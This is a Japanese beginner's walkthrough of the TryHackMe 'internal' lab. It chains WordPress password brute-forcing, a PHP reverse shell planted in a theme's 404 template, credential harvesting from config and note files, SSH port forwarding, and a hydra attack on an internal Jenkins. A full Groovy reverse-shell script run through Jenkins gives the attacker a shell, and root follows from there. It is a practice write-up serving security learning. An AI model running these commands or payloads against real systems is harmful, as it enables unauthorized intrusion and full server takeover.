TryHackMe Writeup：internal

# はじめに
本記事はTryHackMeのWriteupです。

Roomはinternal、Difficulty（難易度）はHardです。

このRoomでは、私が学んできた事を幅広く必要とした為，自身の復習も兼ねて初めてのWriteupを記述したいと思います

！注意！
私は当分野の初心者であり，THM歴も半月未満です。
故に初心者目線でのWirteupになります。
また私としては納得行かない部分があり，そこへのアドバイスも大歓迎です

# １．ホストファイルの変更
Roomの説明文通り，internal.thmをhostsファイルに追加します。

```console
$ sudo nano /etc/hosts

10.10.89.175    internal.thm　＃追加
```
# ２．nmapでポートスキャンを実施
何はともあれ開いてるポートを調べます
```console
$ nmap -sV -Pn -A -v internal.thm

(抜粋)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu　 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp   open     http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It work
```
22:SSHポート
80:httpポートが空いてます。

思わずApache2.4.29というVerを調べてしまいますが我慢です。
８０番ポートが開いてるので[http://10.10.89.175](http://10.10.89.175)にアクセスしてみます。

ですがApache2 Ubuntu Default Pageが表示されるだけです。

# ３．dirbでディレクトリ検索
何はともあれアクセスできそうなディレクトリも調べておきましょう。
```console
$ dirb http://10.10.89.175 /usr/share/dirb/wordlists/small.txt -r

(抜粋)
==> DIRECTORY: http://10.10.89.175/blog/ 
==> DIRECTORY: http://10.10.89.175/javascript/
==> DIRECTORY: http://10.10.89.175/phpmyadmin/
==> DIRECTORY: http://10.10.89.175/wordpress/
```
/blog
Wordpressで作成されたHPが出てきました。
左下にはLog inリンクもありますね。いつかは侵入しましょう

/javascript
開きませんね。

/phpmyadmin
phpmyadminのログイン画面です。いつかは侵入しましょう

/wordpress
oops!という名前のふざけたHPが開きます。ほっときましょう

# ４．WPScanを使って色々調べる
いろんなVerを調べて脆弱性を検索したくなりますが，まずはやれる事をします。
WPScanを使って登録アカウントを調べてみます
```console
$ wpscan --url http://internal.thm/blog/ --enumerate u
```
アカウント名としてadminが見つかりました。期待できますね
続いてパスワードを探索します
```console
$ wpscan --url http://internal.thm/blog/ -U admin -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 4

(抜粋)
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - admin / *******
```
パスワードも確認できました！やった！

# ５．WordPressにリバースシェルを設置する
先程ゲットしたアカウントでWordPressにログインしましょう。
（３．で探索した/blogにログインページのリンクがありましたね）

adminという名の通り管理者権限がついているので何でもできそうです。
今回は404.phpを編集してphpリバースシェルを仕込みましょう。
参考にしたサイトは[こちら](https://medium.com/@akshadjoshi/from-wordpress-to-reverse-shell-3857ee1f4896)

（外観）⇒（テーマエディター） ⇒（４０４テンプレート）を選びます。
エディタ上にPHPリバースシェルのコードを貼り付けて「ファイルの更新」を押しましょう。
人によって違うと思いますがコードは以下からコピー！
```console
$ cat /usr/share/webshells/php/php-reverse-shell.php

#下記のipとportは自身のIPと好きなポートにしましょう
$ip = '**.**.**.**';  // CHANGE THIS
$port = 4545;       // CHANGE THIS
```
例によってncコマンドで待受けます
```console
$ nc -lnvp 4545
```
では，先程のリバースシェルを起動しましょう。
参考サイトによると以下のURLで起動できるみたいです。
http://10.10.89.175/blog/wp-content/themes/(themename)/404.php
今回の(themename)＝twentyseventeenです。
ブラウザにURLを入力してアクセスするとｋｒｋｒします
http://10.10.89.175/blog/wp-content/themes/twentyseventeen/404.php
```console
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
```
シェルが取れました！安定Bashシェルも起動しておきましょう。
```console
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@internal:/$ 
```
# ６．おきまりのフォルダを探索？
www-dataユーザーから取れたらどうやらおきまりで
以下のディレクトリを見に行きます。
（WordPress関連のディレクトリに他の情報がないかを見にいくんだと思います）
```console
www-data@internal:/$ cd var/www/html
www-data@internal:/var/www/html$ ls
index.html  wordpress
www-data@internal:/var/www/html$ cd wordpress
www-data@internal:/var/www/html/wordpress$ ls -la
(抜粋)
-rw-r--r--  1 root   root     3109 Aug  3  2020 wp-config.php
```
:::note warn
wp-config.phpは色々な設定情報の記載が期待できるそうです。
:::
```console
www-data@internal:/var/www/html/wordpress$ cat wp-config.php
(抜粋)
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', '************' );
```
MySQLDBのユーザー名とパスワードが出てきました。
３．の/phpmyadminにログインできそうかも？

# ７．phpmyadminにログイン（意味なし）
先程のユーザー名とパスワードで見事ログインができました！
・・・が大した収穫はありません。


# ８．納得のいかない調査
ここは他の人のwriteupm見ても「ん？ん〜・・・」ってなってます。
一応linpeas使ったりもしましたがイマイチでどうやら以下のフォルダが怪しいらしいです
```console
www-data@internal://opt$ ls -la
ls -la
total 16
drwxr-xr-x  3 root root 4096 Aug  3  2020 .
drwxr-xr-x 24 root root 4096 Aug  3  2020 ..
drwx--x--x  4 root root 4096 Aug  3  2020 containerd
-rw-r--r--  1 root root  138 Aug  3  2020 wp-save.txt
```
これはわからないですよね・・・

:::note warn
一応この/optは[こちら](https://qiita.com/nys9302/items/a8ddeedd3cd9d0deb332#opt:~:text=%E3%82%8C%E3%81%A6%E3%81%84%E3%82%8B%E3%80%82-,/opt,%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E3%81%AA%E3%81%A9%E3%81%AE%E3%82%B5%E3%83%BC%E3%83%89%E3%83%91%E3%83%BC%E3%83%86%E3%82%A3%E3%82%A2%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E3%83%87%E3%82%A3%E3%83%AC%E3%82%AF%E3%83%88%E3%83%AA%E3%80%82,-/proc）)の説明を見ましたが・・・
ファイルが残っている事が不自然なディレクトリなのかな・・・？
よくわからないです
:::

中身はこんな感じ
```console
www-data@internal://opt$ cat wp-save.txt
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:************
```
ホームディレクトリにもいたユーザー名のパスが発覚しました！↓
```console
www-data@internal:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root      root      4096 Aug  3  2020 .
drwxr-xr-x 24 root      root      4096 Aug  3  2020 ..
drwx------  7 aubreanna aubreanna 4096 Aug  3  2020 aubreanna
```
# ９．SSH接続を試す
８．で入手したアカウントとパスでSSH接続を試みます
```console
$ ssh aubreanna@10.10.89.175
(省略)
aubreanna@internal:~$ 
```
やった！aubreannaさんになりました！
```console
aubreanna@internal:~$ ls
jenkins.txt  snap  user.txt
```
:::note alert
userフラグゲット！
:::
次にjenkins.txtも見てみましょう
```console
aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080
```
内部にて上記のアドレスでジェンキンスサーバーが稼働しているようです。
ここで部屋名のinternalの意味がわかりましたね！（たぶん）

# １０．ローカルポートフォワーディングで接続する
先程のジェンキンスサーバーへの接続がこの部屋の肝になると思います。
どうやら127.17.0.0という同じネットワークにいそうです↓
```console
aubreanna@internal:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
```
（正直このあたりはピンときていません・・・）
ローカルポートフォワーディングを使ってジェンキンスサーバーにアクセスできるようにします。
ローカルポートフォワーディングの説明は[こちら](https://tech-lab.sios.jp/archives/37377#potofowadingutoha)を参考にしました
```console
$ ssh -L 4444:172.17.0.2:8080 aubreanna@10.10.89.175
```
アクセス先は以下になります。
http://localhost:4444/

# １１．ジェンキンスサーバーを攻略する
ジェンキンスはどうやらadminアカウントのデフォルト設定が広く知られているようです

ユーザー名：admin
パスはわからないのでhydraで攻略します
```console
$ hydra -l admin -P cheet.txt 127.0.0.1 http-post-form '/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=Invalid username or password'
```
（数時間かかるので私はカンニングしました・・・）

admin権限でジェンキンスサーバーにログインできました。
admin権限を持った状態でのジェンキンスサーバーでの脆弱性を色々調べてみます

Grovyスクリプトを使ってシェルが取れるみたいです！[参考サイト](https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6)
（Jenkinsの管理）⇒（スクリプトコンソール）
下記を入力
```console
String host="**.**.**.**";
int port=5555;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
ncコマンドで待受しておくとシェルがとれました！
```console
$ nc -lnvp 5555
listening on [any] 5555 ...

python -c 'import pty;pty.spawn("/bin/bash")'
jenkins@jenkins:/$ 
```

また/opt配下らしい・・・
```console
jenkins@jenkins:/opt$ ls
ls
note.txt
```
note.txtを調べてみます
```console
jenkins@jenkins:/opt$ cat note.txt
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:*******************
```
あとはrootアカウントでSSH接続
```console
$ ssh root@10.10.89.175

root@internal:~# ls
root.txt  snap
```

一旦おしまいです！